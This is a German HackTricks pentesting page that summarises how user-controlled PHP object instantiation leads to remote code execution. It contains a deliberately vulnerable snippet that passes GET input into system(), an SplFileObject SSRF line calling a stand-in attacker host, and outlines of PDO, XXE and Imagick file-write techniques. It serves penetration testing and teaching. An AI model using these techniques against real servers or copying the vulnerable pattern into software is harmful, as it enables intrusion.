hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
2024-02-10 15:36:32 +00:00

7.2 KiB

PHP - RCE Missbrauch der Objekterstellung: new $_GET["a"]($_GET["b"])

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Dies ist im Wesentlichen eine Zusammenfassung von https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

Einführung

Die Erstellung neuer beliebiger Objekte, wie z.B. new $_GET["a"]($_GET["a"]), kann zu Remote Code Execution (RCE) führen, wie in einem Writeup detailliert beschrieben. Dieses Dokument zeigt verschiedene Strategien zur Erreichung von RCE auf.

RCE über benutzerdefinierte Klassen oder Autoloading

Die Syntax new $a($b) wird verwendet, um ein Objekt zu instanziieren, wobei $a den Klassennamen darstellt und $b das erste Argument ist, das an den Konstruktor übergeben wird. Diese Variablen können aus Benutzereingaben wie GET/POST stammen, wo sie Zeichenketten oder Arrays sein können, oder aus JSON, wo sie als andere Typen vorliegen können.

Betrachten Sie den folgenden Codeausschnitt:

class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

In diesem Fall führt das Setzen von $a auf App oder App2 und $b auf einen Systembefehl (z. B. uname -a) zur Ausführung dieses Befehls.

Autoloading-Funktionen können ausgenutzt werden, wenn keine solchen Klassen direkt zugänglich sind. Diese Funktionen laden automatisch Klassen aus Dateien, wenn sie benötigt werden, und werden mit spl_autoload_register oder __autoload definiert:

spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

Das Verhalten des Autoloadings variiert je nach PHP-Version und bietet verschiedene Möglichkeiten für RCE.

RCE über integrierte Klassen

Fehlen benutzerdefinierter Klassen oder Autoloader, können integrierte PHP-Klassen für RCE ausreichen. Die Anzahl dieser Klassen variiert je nach PHP-Version und Erweiterungen zwischen 100 und 200. Sie können mit get_declared_classes() aufgelistet werden.

Interessante Konstruktoren können mithilfe der Reflection-API identifiziert werden, wie im folgenden Beispiel und dem Link https://3v4l.org/2JEGF gezeigt.

RCE über bestimmte Methoden umfasst:

SSRF + Phar-Deserialisierung

Die Klasse SplFileObject ermöglicht SSRF über ihren Konstruktor und ermöglicht Verbindungen zu beliebigen URLs:

new SplFileObject('http://attacker.com/');

SSRF kann zu Deserialisierungsangriffen in PHP-Versionen vor 8.0 führen, indem das Phar-Protokoll verwendet wird.

Ausnutzen von PDOs

Der Konstruktor der PDO-Klasse ermöglicht Verbindungen zu Datenbanken über DSN-Zeichenketten und ermöglicht potenziell die Erstellung von Dateien oder andere Interaktionen:

new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

Versionen von PHP bis einschließlich 5.3.22 und 5.4.12 waren anfällig für XXE-Angriffe über die Konstruktoren SoapClient und SimpleXMLElement, abhängig von der Version von libxml2.

RCE über Imagick-Erweiterung

Bei der Analyse der Abhängigkeiten eines Projekts wurde festgestellt, dass Imagick für die Befehlsausführung genutzt werden kann, indem neue Objekte instanziiert werden. Dadurch ergeben sich Möglichkeiten zur Ausnutzung von Schwachstellen.

VID-Parser

Es wurde festgestellt, dass der VID-Parser Inhalte in einem beliebigen angegebenen Pfad im Dateisystem schreiben kann. Dadurch kann eine PHP-Shell in einem webzugänglichen Verzeichnis platziert werden, um Remote Code Execution (RCE) zu erreichen.

VID-Parser + Datei-Upload

Es ist zu beachten, dass PHP hochgeladene Dateien vorübergehend in /tmp/phpXXXXXX speichert. Der VID-Parser in Imagick kann mit dem msl-Protokoll Platzhalter in Dateipfaden verarbeiten, um die temporäre Datei an einen ausgewählten Ort zu übertragen. Diese Methode bietet einen zusätzlichen Ansatz, um beliebige Dateien im Dateisystem zu schreiben.

PHP-Crash + Brute Force

Eine Methode, die in der ursprünglichen Beschreibung beschrieben wird, beinhaltet das Hochladen von Dateien, die einen Serverabsturz verursachen, bevor sie gelöscht werden. Durch Brute-Force des Namens der temporären Datei wird es Imagick ermöglicht, beliebigen PHP-Code auszuführen. Diese Technik ist jedoch nur in einer veralteten Version von ImageMagick wirksam.

Referenzen

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: